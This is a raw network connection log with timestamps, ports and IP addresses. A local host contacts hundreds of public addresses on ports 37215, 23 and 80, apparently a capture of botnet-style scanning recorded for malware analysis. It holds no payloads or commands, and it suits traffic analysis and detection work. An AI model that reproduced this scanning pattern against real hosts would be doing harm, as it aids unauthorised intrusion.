Jun 1, 2024 18:15:53.198542118 CEST	60650	37215	192.168.2.23	41.172.199.241
Jun 1, 2024 18:15:53.198544979 CEST	65001	23	192.168.2.23	42.39.31.227
Jun 1, 2024 18:15:53.198546886 CEST	60650	37215	192.168.2.23	41.176.229.52
Jun 1, 2024 18:15:53.198554039 CEST	60650	37215	192.168.2.23	197.192.157.62
Jun 1, 2024 18:15:53.198554993 CEST	23	65001	96.97.84.184	192.168.2.23
Jun 1, 2024 18:15:53.198555946 CEST	43496	80	192.168.2.23	87.20.222.49
Jun 1, 2024 18:15:53.198565006 CEST	23	65001	41.104.91.126	192.168.2.23
Jun 1, 2024 18:15:53.198565960 CEST	43496	80	192.168.2.23	171.7.135.15
Jun 1, 2024 18:15:53.198565960 CEST	43496	80	192.168.2.23	12.163.219.254
Jun 1, 2024 18:15:53.198565960 CEST	43496	80	192.168.2.23	158.153.129.42
Jun 1, 2024 18:15:53.198570013 CEST	65001	23	192.168.2.23	70.209.153.247
Jun 1, 2024 18:15:53.198570967 CEST	43496	80	192.168.2.23	157.234.57.105
Jun 1, 2024 18:15:53.198574066 CEST	23	65001	108.52.180.180	192.168.2.23
Jun 1, 2024 18:15:53.198575020 CEST	43496	80	192.168.2.23	20.29.218.34
Jun 1, 2024 18:15:53.198579073 CEST	60650	37215	192.168.2.23	41.92.234.48
Jun 1, 2024 18:15:53.198584080 CEST	65001	23	192.168.2.23	96.97.84.184
Jun 1, 2024 18:15:53.198584080 CEST	23	65001	125.208.34.56	192.168.2.23
Jun 1, 2024 18:15:53.198586941 CEST	60650	37215	192.168.2.23	156.24.227.201
Jun 1, 2024 18:15:53.198595047 CEST	65001	23	192.168.2.23	41.104.91.126
Jun 1, 2024 18:15:53.198606014 CEST	43496	80	192.168.2.23	100.221.9.70
Jun 1, 2024 18:15:53.198611975 CEST	23	65001	9.20.193.238	192.168.2.23
Jun 1, 2024 18:15:53.198611975 CEST	60650	37215	192.168.2.23	41.12.253.105
Jun 1, 2024 18:15:53.198612928 CEST	65001	23	192.168.2.23	108.52.180.180
Jun 1, 2024 18:15:53.198613882 CEST	65001	23	192.168.2.23	125.208.34.56
Jun 1, 2024 18:15:53.198620081 CEST	43496	80	192.168.2.23	5.107.180.100
Jun 1, 2024 18:15:53.198621988 CEST	43496	80	192.168.2.23	63.6.21.21
Jun 1, 2024 18:15:53.198621988 CEST	23	65001	145.78.122.233	192.168.2.23
Jun 1, 2024 18:15:53.198621988 CEST	60650	37215	192.168.2.23	156.95.125.193
Jun 1, 2024 18:15:53.198625088 CEST	43496	80	192.168.2.23	74.216.58.202
Jun 1, 2024 18:15:53.198626995 CEST	60650	37215	192.168.2.23	197.148.76.200
Jun 1, 2024 18:15:53.198632002 CEST	43496	80	192.168.2.23	52.235.41.185
Jun 1, 2024 18:15:53.198632002 CEST	23	65001	182.60.173.187	192.168.2.23
Jun 1, 2024 18:15:53.198637009 CEST	60650	37215	192.168.2.23	197.106.136.103
Jun 1, 2024 18:15:53.198637009 CEST	65001	23	192.168.2.23	9.20.193.238
Jun 1, 2024 18:15:53.198640108 CEST	43496	80	192.168.2.23	154.41.239.35
Jun 1, 2024 18:15:53.198641062 CEST	43496	80	192.168.2.23	59.51.24.146
Jun 1, 2024 18:15:53.198642015 CEST	23	65001	68.63.217.194	192.168.2.23
Jun 1, 2024 18:15:53.198648930 CEST	60650	37215	192.168.2.23	41.27.130.162
Jun 1, 2024 18:15:53.198648930 CEST	65001	23	192.168.2.23	145.78.122.233
Jun 1, 2024 18:15:53.198652029 CEST	23	65001	128.225.178.83	192.168.2.23
Jun 1, 2024 18:15:53.198652983 CEST	60650	37215	192.168.2.23	156.150.30.147
Jun 1, 2024 18:15:53.198656082 CEST	65001	23	192.168.2.23	182.60.173.187
Jun 1, 2024 18:15:53.198661089 CEST	23	65001	192.44.251.65	192.168.2.23
Jun 1, 2024 18:15:53.198668957 CEST	60650	37215	192.168.2.23	197.217.64.158
Jun 1, 2024 18:15:53.198669910 CEST	65001	23	192.168.2.23	68.63.217.194
Jun 1, 2024 18:15:53.198671103 CEST	23	65001	35.16.50.218	192.168.2.23
Jun 1, 2024 18:15:53.198677063 CEST	43496	80	192.168.2.23	223.78.65.227
Jun 1, 2024 18:15:53.198677063 CEST	65001	23	192.168.2.23	128.225.178.83
Jun 1, 2024 18:15:53.198679924 CEST	23	65001	2.184.248.80	192.168.2.23
Jun 1, 2024 18:15:53.198683023 CEST	65001	23	192.168.2.23	192.44.251.65
Jun 1, 2024 18:15:53.198699951 CEST	43496	80	192.168.2.23	32.112.35.220
Jun 1, 2024 18:15:53.198704958 CEST	60650	37215	192.168.2.23	156.35.153.125
Jun 1, 2024 18:15:53.198704958 CEST	65001	23	192.168.2.23	35.16.50.218
Jun 1, 2024 18:15:53.198704958 CEST	60650	37215	192.168.2.23	197.197.101.158
Jun 1, 2024 18:15:53.198709965 CEST	65001	23	192.168.2.23	2.184.248.80
Jun 1, 2024 18:15:53.198712111 CEST	60650	37215	192.168.2.23	197.125.222.169
Jun 1, 2024 18:15:53.198713064 CEST	60650	37215	192.168.2.23	197.55.156.157
Jun 1, 2024 18:15:53.198714972 CEST	43496	80	192.168.2.23	44.60.172.27
Jun 1, 2024 18:15:53.198759079 CEST	60650	37215	192.168.2.23	197.221.174.191
Jun 1, 2024 18:15:53.198760986 CEST	60650	37215	192.168.2.23	156.34.155.21
Jun 1, 2024 18:15:53.198760986 CEST	60650	37215	192.168.2.23	156.49.219.186
Jun 1, 2024 18:15:53.198761940 CEST	43496	80	192.168.2.23	119.144.157.236
Jun 1, 2024 18:15:53.198762894 CEST	43496	80	192.168.2.23	105.49.228.116
Jun 1, 2024 18:15:53.198769093 CEST	43496	80	192.168.2.23	24.169.230.127
Jun 1, 2024 18:15:53.198775053 CEST	60650	37215	192.168.2.23	156.28.210.242
Jun 1, 2024 18:15:53.198776007 CEST	60650	37215	192.168.2.23	41.56.33.87
Jun 1, 2024 18:15:53.198776007 CEST	43496	80	192.168.2.23	198.87.81.242
Jun 1, 2024 18:15:53.198776007 CEST	60650	37215	192.168.2.23	197.96.246.53
Jun 1, 2024 18:15:53.198781967 CEST	43496	80	192.168.2.23	5.91.181.19
Jun 1, 2024 18:15:53.198785067 CEST	43496	80	192.168.2.23	19.229.150.83
Jun 1, 2024 18:15:53.198785067 CEST	60650	37215	192.168.2.23	156.148.201.37
Jun 1, 2024 18:15:53.198785067 CEST	60650	37215	192.168.2.23	197.55.157.127
Jun 1, 2024 18:15:53.198791981 CEST	43496	80	192.168.2.23	125.174.32.240
Jun 1, 2024 18:15:53.198791981 CEST	60650	37215	192.168.2.23	156.223.180.139
Jun 1, 2024 18:15:53.198797941 CEST	43496	80	192.168.2.23	32.5.106.199
Jun 1, 2024 18:15:53.198810101 CEST	60650	37215	192.168.2.23	197.204.155.166
Jun 1, 2024 18:15:53.198811054 CEST	60650	37215	192.168.2.23	156.150.143.205
Jun 1, 2024 18:15:53.198811054 CEST	60650	37215	192.168.2.23	41.18.199.167
Jun 1, 2024 18:15:53.198817968 CEST	43496	80	192.168.2.23	222.59.142.140
Jun 1, 2024 18:15:53.198820114 CEST	60650	37215	192.168.2.23	197.201.172.18
Jun 1, 2024 18:15:53.198822975 CEST	43496	80	192.168.2.23	94.148.254.79
Jun 1, 2024 18:15:53.198822975 CEST	60650	37215	192.168.2.23	197.6.139.109
Jun 1, 2024 18:15:53.198834896 CEST	43496	80	192.168.2.23	62.56.102.74
Jun 1, 2024 18:15:53.198834896 CEST	60650	37215	192.168.2.23	197.53.148.252
Jun 1, 2024 18:15:53.198839903 CEST	43496	80	192.168.2.23	114.118.234.100
Jun 1, 2024 18:15:53.198841095 CEST	43496	80	192.168.2.23	204.5.199.215
Jun 1, 2024 18:15:53.198842049 CEST	60650	37215	192.168.2.23	41.238.191.9
Jun 1, 2024 18:15:53.198842049 CEST	60650	37215	192.168.2.23	41.235.177.142
Jun 1, 2024 18:15:53.198843956 CEST	43496	80	192.168.2.23	83.157.186.70
Jun 1, 2024 18:15:53.198858976 CEST	60650	37215	192.168.2.23	156.18.112.187
Jun 1, 2024 18:15:53.198860884 CEST	60650	37215	192.168.2.23	41.135.158.225
Jun 1, 2024 18:15:53.198860884 CEST	43496	80	192.168.2.23	128.171.108.83
Jun 1, 2024 18:15:53.198860884 CEST	43496	80	192.168.2.23	101.118.140.156
Jun 1, 2024 18:15:53.198863029 CEST	60650	37215	192.168.2.23	41.206.110.143
Jun 1, 2024 18:15:53.198870897 CEST	43496	80	192.168.2.23	74.140.212.208
Jun 1, 2024 18:15:53.198860884 CEST	43496	80	192.168.2.23	165.124.31.25
Jun 1, 2024 18:15:53.198870897 CEST	43496	80	192.168.2.23	165.245.31.51
Jun 1, 2024 18:15:53.198883057 CEST	43496	80	192.168.2.23	203.84.207.210
Jun 1, 2024 18:15:53.198889971 CEST	43496	80	192.168.2.23	143.201.30.166
Jun 1, 2024 18:15:53.198892117 CEST	60650	37215	192.168.2.23	41.128.131.106
Jun 1, 2024 18:15:53.198892117 CEST	43496	80	192.168.2.23	145.232.20.240
Jun 1, 2024 18:15:53.198892117 CEST	60650	37215	192.168.2.23	41.91.234.196
Jun 1, 2024 18:15:53.198892117 CEST	60650	37215	192.168.2.23	41.97.19.152
Jun 1, 2024 18:15:53.198894024 CEST	60650	37215	192.168.2.23	41.101.166.109
Jun 1, 2024 18:15:53.198894024 CEST	43496	80	192.168.2.23	86.76.208.48
Jun 1, 2024 18:15:53.198894024 CEST	60650	37215	192.168.2.23	197.134.51.205
Jun 1, 2024 18:15:53.198896885 CEST	43496	80	192.168.2.23	23.82.211.15
Jun 1, 2024 18:15:53.198918104 CEST	43496	80	192.168.2.23	90.162.21.48
Jun 1, 2024 18:15:53.198918104 CEST	60650	37215	192.168.2.23	41.27.223.60
Jun 1, 2024 18:15:53.198918104 CEST	43496	80	192.168.2.23	12.52.22.119
Jun 1, 2024 18:15:53.198919058 CEST	60650	37215	192.168.2.23	156.127.90.204
Jun 1, 2024 18:15:53.198925018 CEST	60650	37215	192.168.2.23	197.99.42.36
Jun 1, 2024 18:15:53.198926926 CEST	60650	37215	192.168.2.23	41.48.12.228
Jun 1, 2024 18:15:53.198928118 CEST	43496	80	192.168.2.23	65.216.81.199
Jun 1, 2024 18:15:53.198940992 CEST	60650	37215	192.168.2.23	41.235.207.221
Jun 1, 2024 18:15:53.198942900 CEST	60650	37215	192.168.2.23	41.228.211.10
Jun 1, 2024 18:15:53.198942900 CEST	43496	80	192.168.2.23	188.34.10.231
Jun 1, 2024 18:15:53.198942900 CEST	43496	80	192.168.2.23	196.189.45.169
Jun 1, 2024 18:15:53.198946953 CEST	43496	80	192.168.2.23	24.190.47.232
Jun 1, 2024 18:15:53.198956013 CEST	60650	37215	192.168.2.23	197.134.225.145
Jun 1, 2024 18:15:53.198956013 CEST	60650	37215	192.168.2.23	41.238.217.123
Jun 1, 2024 18:15:53.198956966 CEST	60650	37215	192.168.2.23	156.181.225.232
Jun 1, 2024 18:15:53.198960066 CEST	60650	37215	192.168.2.23	197.125.163.226
Jun 1, 2024 18:15:53.198965073 CEST	43496	80	192.168.2.23	76.82.202.117
Jun 1, 2024 18:15:53.198971987 CEST	60650	37215	192.168.2.23	197.29.89.58
Jun 1, 2024 18:15:53.198972940 CEST	43496	80	192.168.2.23	62.184.85.181
Jun 1, 2024 18:15:53.198972940 CEST	43496	80	192.168.2.23	71.180.146.115
Jun 1, 2024 18:15:53.198976040 CEST	60650	37215	192.168.2.23	156.201.51.85
Jun 1, 2024 18:15:53.198976040 CEST	43496	80	192.168.2.23	65.213.138.80
Jun 1, 2024 18:15:53.198982954 CEST	43496	80	192.168.2.23	99.116.132.93
Jun 1, 2024 18:15:53.198991060 CEST	60650	37215	192.168.2.23	156.201.231.240
Jun 1, 2024 18:15:53.198998928 CEST	60650	37215	192.168.2.23	156.105.68.131
Jun 1, 2024 18:15:53.199008942 CEST	60650	37215	192.168.2.23	156.115.235.196
Jun 1, 2024 18:15:53.199014902 CEST	60650	37215	192.168.2.23	41.248.165.89
Jun 1, 2024 18:15:53.199026108 CEST	60650	37215	192.168.2.23	41.144.236.142
Jun 1, 2024 18:15:53.199028969 CEST	60650	37215	192.168.2.23	156.238.81.97
Jun 1, 2024 18:15:53.199039936 CEST	60650	37215	192.168.2.23	41.161.208.183
Jun 1, 2024 18:15:53.199043036 CEST	60650	37215	192.168.2.23	156.91.145.83
Jun 1, 2024 18:15:53.199054956 CEST	60650	37215	192.168.2.23	41.81.248.219
Jun 1, 2024 18:15:53.199054956 CEST	23	65001	48.246.72.136	192.168.2.23
Jun 1, 2024 18:15:53.199060917 CEST	60650	37215	192.168.2.23	197.228.52.125
Jun 1, 2024 18:15:53.199069977 CEST	60650	37215	192.168.2.23	156.255.8.149
Jun 1, 2024 18:15:53.199074984 CEST	60650	37215	192.168.2.23	41.145.57.118
Jun 1, 2024 18:15:53.199074984 CEST	60650	37215	192.168.2.23	197.11.90.219
Jun 1, 2024 18:15:53.199094057 CEST	65001	23	192.168.2.23	48.246.72.136
Jun 1, 2024 18:15:53.199103117 CEST	60650	37215	192.168.2.23	41.214.227.2
Jun 1, 2024 18:15:53.199105978 CEST	60650	37215	192.168.2.23	197.5.235.244
Jun 1, 2024 18:15:53.199120045 CEST	60650	37215	192.168.2.23	41.224.160.169
Jun 1, 2024 18:15:53.199120998 CEST	60650	37215	192.168.2.23	197.198.55.161
Jun 1, 2024 18:15:53.199121952 CEST	23	65001	219.228.0.58	192.168.2.23
Jun 1, 2024 18:15:53.199126959 CEST	60650	37215	192.168.2.23	41.232.67.233
Jun 1, 2024 18:15:53.199131966 CEST	23	65001	98.41.79.13	192.168.2.23
Jun 1, 2024 18:15:53.199136019 CEST	60650	37215	192.168.2.23	197.251.70.158
Jun 1, 2024 18:15:53.199141026 CEST	23	65001	148.22.97.161	192.168.2.23
Jun 1, 2024 18:15:53.199142933 CEST	60650	37215	192.168.2.23	41.111.160.6
Jun 1, 2024 18:15:53.199145079 CEST	60650	37215	192.168.2.23	41.35.148.12
Jun 1, 2024 18:15:53.199150085 CEST	23	65001	147.1.32.230	192.168.2.23
Jun 1, 2024 18:15:53.199152946 CEST	65001	23	192.168.2.23	219.228.0.58
Jun 1, 2024 18:15:53.199157953 CEST	65001	23	192.168.2.23	98.41.79.13
Jun 1, 2024 18:15:53.199158907 CEST	23	65001	154.97.242.94	192.168.2.23
Jun 1, 2024 18:15:53.199168921 CEST	23	65001	115.247.202.209	192.168.2.23
Jun 1, 2024 18:15:53.199168921 CEST	65001	23	192.168.2.23	148.22.97.161
Jun 1, 2024 18:15:53.199172020 CEST	65001	23	192.168.2.23	147.1.32.230
Jun 1, 2024 18:15:53.199174881 CEST	60650	37215	192.168.2.23	156.82.29.42
Jun 1, 2024 18:15:53.199176073 CEST	60650	37215	192.168.2.23	197.147.64.14
Jun 1, 2024 18:15:53.199178934 CEST	60650	37215	192.168.2.23	197.175.146.0
Jun 1, 2024 18:15:53.199186087 CEST	23	65001	176.131.53.137	192.168.2.23
Jun 1, 2024 18:15:53.199191093 CEST	65001	23	192.168.2.23	115.247.202.209
Jun 1, 2024 18:15:53.199193954 CEST	65001	23	192.168.2.23	154.97.242.94
Jun 1, 2024 18:15:53.199193954 CEST	60650	37215	192.168.2.23	156.139.75.108
Jun 1, 2024 18:15:53.199196100 CEST	23	65001	25.56.109.222	192.168.2.23
Jun 1, 2024 18:15:53.199206114 CEST	23	65001	165.12.91.224	192.168.2.23
Jun 1, 2024 18:15:53.199206114 CEST	60650	37215	192.168.2.23	41.11.2.133
Jun 1, 2024 18:15:53.199207067 CEST	60650	37215	192.168.2.23	41.177.145.235
Jun 1, 2024 18:15:53.199209929 CEST	65001	23	192.168.2.23	176.131.53.137
Jun 1, 2024 18:15:53.199214935 CEST	23	65001	42.96.207.58	192.168.2.23
Jun 1, 2024 18:15:53.199217081 CEST	60650	37215	192.168.2.23	197.205.64.84
Jun 1, 2024 18:15:53.199219942 CEST	60650	37215	192.168.2.23	156.104.98.159
Jun 1, 2024 18:15:53.199222088 CEST	60650	37215	192.168.2.23	197.201.3.159
Jun 1, 2024 18:15:53.199223042 CEST	23	65001	83.0.22.118	192.168.2.23
Jun 1, 2024 18:15:53.199229956 CEST	65001	23	192.168.2.23	25.56.109.222
Jun 1, 2024 18:15:53.199229956 CEST	65001	23	192.168.2.23	165.12.91.224
Jun 1, 2024 18:15:53.199232101 CEST	23	65001	62.251.57.5	192.168.2.23
Jun 1, 2024 18:15:53.199238062 CEST	65001	23	192.168.2.23	42.96.207.58
Jun 1, 2024 18:15:53.199243069 CEST	23	65001	191.70.70.87	192.168.2.23
Jun 1, 2024 18:15:53.199251890 CEST	60650	37215	192.168.2.23	156.46.38.218
Jun 1, 2024 18:15:53.199251890 CEST	65001	23	192.168.2.23	83.0.22.118
Jun 1, 2024 18:15:53.199251890 CEST	23	65001	113.125.110.59	192.168.2.23
Jun 1, 2024 18:15:53.199260950 CEST	23	65001	131.136.245.108	192.168.2.23
Jun 1, 2024 18:15:53.199261904 CEST	65001	23	192.168.2.23	62.251.57.5
Jun 1, 2024 18:15:53.199265957 CEST	60650	37215	192.168.2.23	197.26.58.127
Jun 1, 2024 18:15:53.199270964 CEST	23	65001	125.13.242.235	192.168.2.23
Jun 1, 2024 18:15:53.199280024 CEST	23	65001	137.154.161.90	192.168.2.23
Jun 1, 2024 18:15:53.199280977 CEST	65001	23	192.168.2.23	113.125.110.59
Jun 1, 2024 18:15:53.199281931 CEST	65001	23	192.168.2.23	191.70.70.87
Jun 1, 2024 18:15:53.199284077 CEST	60650	37215	192.168.2.23	197.142.30.204
Jun 1, 2024 18:15:53.199290037 CEST	23	65001	14.208.128.130	192.168.2.23
Jun 1, 2024 18:15:53.199294090 CEST	65001	23	192.168.2.23	131.136.245.108
Jun 1, 2024 18:15:53.199296951 CEST	65001	23	192.168.2.23	125.13.242.235
Jun 1, 2024 18:15:53.199306965 CEST	65001	23	192.168.2.23	137.154.161.90
Jun 1, 2024 18:15:53.199311018 CEST	60650	37215	192.168.2.23	156.157.179.171
Jun 1, 2024 18:15:53.199320078 CEST	65001	23	192.168.2.23	14.208.128.130
Jun 1, 2024 18:15:53.199332952 CEST	60650	37215	192.168.2.23	197.255.26.84
Jun 1, 2024 18:15:53.199335098 CEST	60650	37215	192.168.2.23	156.232.29.77
Jun 1, 2024 18:15:53.199347973 CEST	60650	37215	192.168.2.23	41.132.35.49
Jun 1, 2024 18:15:53.199351072 CEST	60650	37215	192.168.2.23	41.93.40.162
Jun 1, 2024 18:15:53.199363947 CEST	60650	37215	192.168.2.23	197.21.208.89
Jun 1, 2024 18:15:53.199368954 CEST	60650	37215	192.168.2.23	197.89.31.40
Jun 1, 2024 18:15:53.199383020 CEST	60650	37215	192.168.2.23	41.102.160.105
Jun 1, 2024 18:15:53.199383020 CEST	60650	37215	192.168.2.23	41.34.70.153
Jun 1, 2024 18:15:53.199384928 CEST	60650	37215	192.168.2.23	197.141.212.14
Jun 1, 2024 18:15:53.199398041 CEST	60650	37215	192.168.2.23	41.211.118.0
Jun 1, 2024 18:15:53.199408054 CEST	60650	37215	192.168.2.23	197.12.157.187
Jun 1, 2024 18:15:53.199417114 CEST	60650	37215	192.168.2.23	197.106.173.162
Jun 1, 2024 18:15:53.199418068 CEST	60650	37215	192.168.2.23	156.195.154.214
Jun 1, 2024 18:15:53.199425936 CEST	60650	37215	192.168.2.23	197.14.98.39
Jun 1, 2024 18:15:53.199439049 CEST	60650	37215	192.168.2.23	197.185.57.191
Jun 1, 2024 18:15:53.199439049 CEST	60650	37215	192.168.2.23	41.157.194.47
Jun 1, 2024 18:15:53.199455976 CEST	60650	37215	192.168.2.23	41.178.178.129
Jun 1, 2024 18:15:53.199455976 CEST	60650	37215	192.168.2.23	197.237.45.191
Jun 1, 2024 18:15:53.199470997 CEST	60650	37215	192.168.2.23	197.6.35.244
Jun 1, 2024 18:15:53.199471951 CEST	60650	37215	192.168.2.23	156.201.79.229
Jun 1, 2024 18:15:53.199480057 CEST	60650	37215	192.168.2.23	197.1.204.149
Jun 1, 2024 18:15:53.199486017 CEST	60650	37215	192.168.2.23	197.183.142.35
Jun 1, 2024 18:15:53.199491978 CEST	60650	37215	192.168.2.23	41.61.32.196
Jun 1, 2024 18:15:53.199501991 CEST	60650	37215	192.168.2.23	156.9.244.55
Jun 1, 2024 18:15:53.199506044 CEST	60650	37215	192.168.2.23	197.192.231.97
Jun 1, 2024 18:15:53.199521065 CEST	60650	37215	192.168.2.23	41.103.185.37
Jun 1, 2024 18:15:53.199522018 CEST	60650	37215	192.168.2.23	156.184.19.175
Jun 1, 2024 18:15:53.199523926 CEST	60650	37215	192.168.2.23	41.220.104.79
Jun 1, 2024 18:15:53.199537992 CEST	60650	37215	192.168.2.23	156.63.236.117
Jun 1, 2024 18:15:53.199537992 CEST	60650	37215	192.168.2.23	156.52.192.203
Jun 1, 2024 18:15:53.199551105 CEST	60650	37215	192.168.2.23	156.127.142.124
Jun 1, 2024 18:15:53.199561119 CEST	60650	37215	192.168.2.23	197.15.112.38
Jun 1, 2024 18:15:53.199563026 CEST	60650	37215	192.168.2.23	41.235.209.213
Jun 1, 2024 18:15:53.199575901 CEST	60650	37215	192.168.2.23	197.58.51.89
Jun 1, 2024 18:15:53.199584007 CEST	60650	37215	192.168.2.23	197.251.66.164
Jun 1, 2024 18:15:53.199596882 CEST	47646	80	192.168.2.23	120.22.130.14
Jun 1, 2024 18:15:53.199598074 CEST	60650	37215	192.168.2.23	41.43.38.181
Jun 1, 2024 18:15:53.199599028 CEST	60650	37215	192.168.2.23	41.81.195.223
Jun 1, 2024 18:15:53.199599028 CEST	60650	37215	192.168.2.23	197.94.70.126
Jun 1, 2024 18:15:53.199610949 CEST	60650	37215	192.168.2.23	197.79.159.196
Jun 1, 2024 18:15:53.199628115 CEST	60650	37215	192.168.2.23	197.138.252.79
Jun 1, 2024 18:15:53.199630022 CEST	23	65001	117.117.160.132	192.168.2.23
Jun 1, 2024 18:15:53.199630022 CEST	60650	37215	192.168.2.23	197.253.143.219
Jun 1, 2024 18:15:53.199640036 CEST	23	65001	67.163.240.44	192.168.2.23
Jun 1, 2024 18:15:53.199642897 CEST	60650	37215	192.168.2.23	41.8.210.106
Jun 1, 2024 18:15:53.199642897 CEST	60650	37215	192.168.2.23	197.73.229.232
Jun 1, 2024 18:15:53.199646950 CEST	60650	37215	192.168.2.23	197.2.165.18
Jun 1, 2024 18:15:53.199649096 CEST	23	65001	213.185.244.94	192.168.2.23
Jun 1, 2024 18:15:53.199664116 CEST	65001	23	192.168.2.23	117.117.160.132
Jun 1, 2024 18:15:53.199668884 CEST	65001	23	192.168.2.23	67.163.240.44
Jun 1, 2024 18:15:53.199668884 CEST	65001	23	192.168.2.23	213.185.244.94
Jun 1, 2024 18:15:53.199668884 CEST	60650	37215	192.168.2.23	41.175.66.106
Jun 1, 2024 18:15:53.199673891 CEST	23	65001	92.171.233.54	192.168.2.23
Jun 1, 2024 18:15:53.199678898 CEST	60650	37215	192.168.2.23	156.100.33.80
Jun 1, 2024 18:15:53.199680090 CEST	60650	37215	192.168.2.23	197.7.202.171
Jun 1, 2024 18:15:53.199683905 CEST	23	65001	100.166.97.133	192.168.2.23
Jun 1, 2024 18:15:53.199687958 CEST	35232	80	192.168.2.23	146.154.17.102
Jun 1, 2024 18:15:53.199692965 CEST	23	65001	89.82.198.244	192.168.2.23
Jun 1, 2024 18:15:53.199696064 CEST	60650	37215	192.168.2.23	41.234.219.93
Jun 1, 2024 18:15:53.199700117 CEST	60650	37215	192.168.2.23	156.227.218.82
Jun 1, 2024 18:15:53.199702024 CEST	65001	23	192.168.2.23	92.171.233.54
Jun 1, 2024 18:15:53.199704885 CEST	23	65001	125.42.174.194	192.168.2.23
Jun 1, 2024 18:15:53.199707031 CEST	65001	23	192.168.2.23	100.166.97.133
Jun 1, 2024 18:15:53.199713945 CEST	40304	80	192.168.2.23	176.184.31.108
Jun 1, 2024 18:15:53.199714899 CEST	23	65001	9.84.7.29	192.168.2.23
Jun 1, 2024 18:15:53.199723959 CEST	60650	37215	192.168.2.23	197.190.143.129
Jun 1, 2024 18:15:53.199723959 CEST	23	65001	46.188.194.28	192.168.2.23
Jun 1, 2024 18:15:53.199726105 CEST	65001	23	192.168.2.23	89.82.198.244
Jun 1, 2024 18:15:53.199733973 CEST	23	65001	191.161.15.135	192.168.2.23
Jun 1, 2024 18:15:53.199733973 CEST	65001	23	192.168.2.23	125.42.174.194
Jun 1, 2024 18:15:53.199752092 CEST	23	65001	38.230.66.37	192.168.2.23
Jun 1, 2024 18:15:53.199752092 CEST	60650	37215	192.168.2.23	156.110.6.169
Jun 1, 2024 18:15:53.199753046 CEST	65001	23	192.168.2.23	9.84.7.29
Jun 1, 2024 18:15:53.199752092 CEST	60650	37215	192.168.2.23	41.155.151.88
Jun 1, 2024 18:15:53.199753046 CEST	60650	37215	192.168.2.23	197.139.126.61
Jun 1, 2024 18:15:53.199758053 CEST	65001	23	192.168.2.23	191.161.15.135
Jun 1, 2024 18:15:53.199753046 CEST	65001	23	192.168.2.23	46.188.194.28
Jun 1, 2024 18:15:53.199759007 CEST	60650	37215	192.168.2.23	197.23.133.244
Jun 1, 2024 18:15:53.199763060 CEST	23	65001	87.52.238.221	192.168.2.23
Jun 1, 2024 18:15:53.199773073 CEST	60650	37215	192.168.2.23	41.122.120.11
Jun 1, 2024 18:15:53.199774027 CEST	60650	37215	192.168.2.23	156.88.198.127
Jun 1, 2024 18:15:53.199774027 CEST	23	65001	43.235.219.75	192.168.2.23
Jun 1, 2024 18:15:53.199774027 CEST	57186	80	192.168.2.23	17.87.254.21
Jun 1, 2024 18:15:53.199778080 CEST	60650	37215	192.168.2.23	41.29.165.119
Jun 1, 2024 18:15:53.199784040 CEST	23	65001	95.234.64.229	192.168.2.23
Jun 1, 2024 18:15:53.199785948 CEST	42174	80	192.168.2.23	118.56.224.81
Jun 1, 2024 18:15:53.199785948 CEST	65001	23	192.168.2.23	38.230.66.37
Jun 1, 2024 18:15:53.199790001 CEST	65001	23	192.168.2.23	87.52.238.221
Jun 1, 2024 18:15:53.199795008 CEST	23	65001	161.233.254.218	192.168.2.23
Jun 1, 2024 18:15:53.199804068 CEST	65001	23	192.168.2.23	43.235.219.75
Jun 1, 2024 18:15:53.199806929 CEST	23	65001	91.181.48.255	192.168.2.23
Jun 1, 2024 18:15:53.199810982 CEST	65001	23	192.168.2.23	95.234.64.229
Jun 1, 2024 18:15:53.199811935 CEST	60650	37215	192.168.2.23	197.145.36.42
Jun 1, 2024 18:15:53.199811935 CEST	60650	37215	192.168.2.23	41.54.77.148
Jun 1, 2024 18:15:53.199814081 CEST	57450	80	192.168.2.23	138.193.26.70
Jun 1, 2024 18:15:53.199815989 CEST	23	65001	185.59.10.85	192.168.2.23
Jun 1, 2024 18:15:53.199821949 CEST	60650	37215	192.168.2.23	156.129.12.231
Jun 1, 2024 18:15:53.199824095 CEST	65001	23	192.168.2.23	161.233.254.218
Jun 1, 2024 18:15:53.199826002 CEST	23	65001	207.231.255.236	192.168.2.23
Jun 1, 2024 18:15:53.199835062 CEST	23	65001	109.181.41.153	192.168.2.23
Jun 1, 2024 18:15:53.199837923 CEST	65001	23	192.168.2.23	91.181.48.255
Jun 1, 2024 18:15:53.199841976 CEST	45786	80	192.168.2.23	134.10.23.167
Jun 1, 2024 18:15:53.199841976 CEST	60650	37215	192.168.2.23	197.72.175.201
Jun 1, 2024 18:15:53.199845076 CEST	23	65001	95.156.173.152	192.168.2.23
Jun 1, 2024 18:15:53.199845076 CEST	65001	23	192.168.2.23	185.59.10.85
Jun 1, 2024 18:15:53.199851036 CEST	65001	23	192.168.2.23	207.231.255.236
Jun 1, 2024 18:15:53.199857950 CEST	60650	37215	192.168.2.23	156.193.83.130
Jun 1, 2024 18:15:53.199863911 CEST	23	65001	57.20.167.93	192.168.2.23
Jun 1, 2024 18:15:53.199866056 CEST	65001	23	192.168.2.23	109.181.41.153
Jun 1, 2024 18:15:53.199867010 CEST	60650	37215	192.168.2.23	156.206.124.137
Jun 1, 2024 18:15:53.199870110 CEST	60650	37215	192.168.2.23	156.29.105.6
Jun 1, 2024 18:15:53.199872017 CEST	65001	23	192.168.2.23	95.156.173.152
Jun 1, 2024 18:15:53.199873924 CEST	23	65001	155.47.9.141	192.168.2.23
Jun 1, 2024 18:15:53.199882984 CEST	23	65001	181.84.94.246	192.168.2.23
Jun 1, 2024 18:15:53.199887037 CEST	60650	37215	192.168.2.23	156.166.227.112
Jun 1, 2024 18:15:53.199891090 CEST	65001	23	192.168.2.23	155.47.9.141
Jun 1, 2024 18:15:53.199892044 CEST	65001	23	192.168.2.23	57.20.167.93
Jun 1, 2024 18:15:53.199892998 CEST	23	65001	94.57.47.192	192.168.2.23
Jun 1, 2024 18:15:53.199892998 CEST	48530	80	192.168.2.23	91.176.40.173
Jun 1, 2024 18:15:53.199906111 CEST	60650	37215	192.168.2.23	197.21.171.74
Jun 1, 2024 18:15:53.199915886 CEST	53384	80	192.168.2.23	115.206.192.214
Jun 1, 2024 18:15:53.199915886 CEST	65001	23	192.168.2.23	181.84.94.246
Jun 1, 2024 18:15:53.199918985 CEST	37624	80	192.168.2.23	42.244.32.219
Jun 1, 2024 18:15:53.199929953 CEST	65001	23	192.168.2.23	94.57.47.192
Jun 1, 2024 18:15:53.199933052 CEST	60650	37215	192.168.2.23	41.221.15.178
Jun 1, 2024 18:15:53.199933052 CEST	60650	37215	192.168.2.23	197.196.242.219
Jun 1, 2024 18:15:53.199938059 CEST	60650	37215	192.168.2.23	41.83.163.204
